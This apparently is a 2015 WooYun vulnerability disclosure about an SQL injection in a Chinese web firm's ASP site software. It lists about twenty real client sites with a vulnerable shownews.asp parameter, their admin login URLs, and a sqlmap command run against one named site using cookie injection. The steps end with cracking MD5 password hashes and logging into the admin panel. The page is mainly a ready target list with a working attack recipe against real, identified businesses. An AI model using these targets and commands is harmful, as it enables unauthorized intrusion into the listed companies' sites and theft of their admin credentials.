乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-21: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-04-21: 厂商已经主动忽略漏洞,细节向公众公开
RT
滨州善行网络技术有限公司:http://www.shannet.net/案例:
www.sdtsx.com/shownews.asp?id=190 www.bxqianfeng.com/shownews.asp?id=185www.sdtsx.com/shownews.asp?id=179www.sdbzht.cn/shownews.asp?id=133www.sdjrsm.com/shownews.asp?id=204www.sdpuli.com/shownews.asp?id=193www.sddequan.com/Shownews.asp?id=168www.sdmwmy.cn/shownews.asp?id=194www.sdlzmm.cn/shownews.asp?id=195www.zpyixin.com/shownews.asp?id=194www.yxsffz.com/shownews.asp?id=191www.sdzd.cc/shownews.asp?id=198www.yxjsmy.com/shownews.asp?id=193www.zpjianqiao.com/shownews.asp?id=170www.zpjianqiao.com/shownews.asp?id=171www.sdlyyz.cn/shownews.asp?id=196www.zpsymm.com/shownews.asp?id=198www.stsswkj.com/shownews.asp?id=167www.sdltml.com/shownews.asp?id=118www.wdjqwj.com/shownews.asp?id=193www.jthg88.com/shownews.asp?id=205www.hrjmx.com/shownews.asp?id=177
后台:
www.sdtsx.com/admin/login.aspwww.sdtsx.com/admin/login.aspwww.sdjrsm.com/admin/login.aspwww.sdpuli.com/admin/login.aspwww.sddequan.com/admin/login.aspwww.zpyixin.com/admin/login.aspwww.yxsffz.com/admin/login.aspwww.zpjianqiao.com/admin/login.aspwww.sdlyyz.cn/admin/login.aspwww.zpsymm.com/admin/login.aspwww.stsswkj.com/admin/login.aspwww.sdltml.com/admin/login.aspwww.wdjqwj.com/admin/login.aspwww.jthg88.com/admin/login.aspwww.hrjmx.com/admin/login.aspwww.bxqianfeng.com/admin/login.aspwww.sdbzht.cn/admin/login.aspwww.sdmwmy.cn/admin/login.aspwww.sdlzmm.cn/admin/login.aspwww.sdzd.cc/admin/login.aspwww.yxjsmy.com/admin/login.asp
拿一个案例测试
www.sdtsx.com/shownews.asp?id=190 C:\Python27\sqlmap>sqlmap.py -u "www.sdtsx.com/shownews.asp" --cookie "id=185" --level 2 解MD5 登陆后台:
解MD5
登陆后台:
他们懂的
未能联系到厂商或者厂商积极拒绝